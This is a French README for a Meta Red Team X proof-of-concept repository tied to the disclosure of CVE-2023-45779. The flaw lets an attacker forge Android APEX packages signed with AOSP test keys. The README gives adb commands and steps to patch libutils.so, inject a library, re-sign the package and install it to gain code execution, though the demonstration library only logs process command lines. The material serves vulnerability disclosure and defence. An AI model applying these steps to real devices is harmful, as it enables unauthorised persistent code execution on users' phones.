metaredteam/rtx-cve-2023-45779Code de preuve de concept pour la vulnérabilité de réutilisation de clé APEX d'Android
Ce dépôt est fourni EN L'ÉTAT pour accompagner une divulgation de vulnérabilité de Meta Red Team X. Il ne s'agit pas d'un projet officiel de Meta et ne sera pas supporté comme tel.
Un ensemble de scripts et d'artefacts qui démontrent la détection et l'exploitation d'appareils Android embarquant des APEX signés avec des clés de test d'AOSP. Consultez notre article de blog « Missing signs : comment plusieurs marques ont oublié de sécuriser un élément clé d'Android » pour tous les détails du problème.
apex-checker/ : Un ensemble de scripts Bash pour enregistrer les empreintes des clés de test connues et vérifier en masse les APEX pour des signatures provenant de ces clés.apex-forger/ : Des wrappers légers autour des outils apexer et deapexer d'AOSP qui facilitent le dépaquetage, la modification et le reconditionnement d'un APEX. Comme apktool pour les APEX.vndk-libt/ : Code source d'une bibliothèque que nous avons ajoutée à un APEX vulnérable pour prouver que nous pouvons exécuter du code. Tout ce qu'elle fait est d'afficher la ligne de commande de chaque processus qui la charge dans logcat.m apexer deapexer apksigner pour construire les outils nécessaires.envsetup.sh (celui-ci, pas celui d'AOSP) pour pointer $AOSP et $ANDROID_HOST_OUT vers les emplacements appropriés.adb shell getprop ro.build.version.sdk et adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Sinon, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, où <NN> est ro.vndk.version.apex-checker/check.sh vndk.apex. Si la sortie ne commence pas par « OI » (indiquant que les signatures externe et interne proviennent de clés de test), cette preuve de concept ne peut pas être utilisée (bien que cela ne garantisse pas que l'appareil est sécurisé, car d'autres APEX peuvent encore être vulnérables).Les empreintes dans apex-checker/apk-keys.txt et apex-checker/avb-keys.txt correspondent aux clés de test externe et interne pour les APEX suivants. Notez qu'il existe également des variantes -goog de ces deux listes, créées par Google après notre rapport initial. Ces listes sont généralement plus complètes, mais nous ne savons pas exactement quelles clés elles contiennent.
apex-forger/unpack.sh vndk.apex vndk.libutils.so dans l'APEX extrait pour charger notre libt.so injectée : git apply --directory=vndk vndk-libt/libutils-v31.patch. Si cela ne fonctionne pas (par exemple, version VNDK différente), utilisez un éditeur hexadécimal pour changer manuellement libc.so en libt.so dans le DT_NEEDED approprié de vndk/payload/lib64/libutils.so.libt.so en exécutant ndk-build dans vndk-libt/. Copiez vndk-libt/libs/arm64-v8a/libt.so vers vndk/payload/lib64/libt.so.canned_fs_config de apex_build_info.bp. Il n'y a pas d'outil pour le faire facilement : le plus proche est protoc --decode_raw <vndk/apex_build_info.bp suivi d'un déséchappement manuel du champ n°3. Placez canned_fs_config dans vndk/.canned_fs_config, comme toutes les autres, pour /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC, chacun provenant d'un processus dans lequel nous pouvons exécuter du code.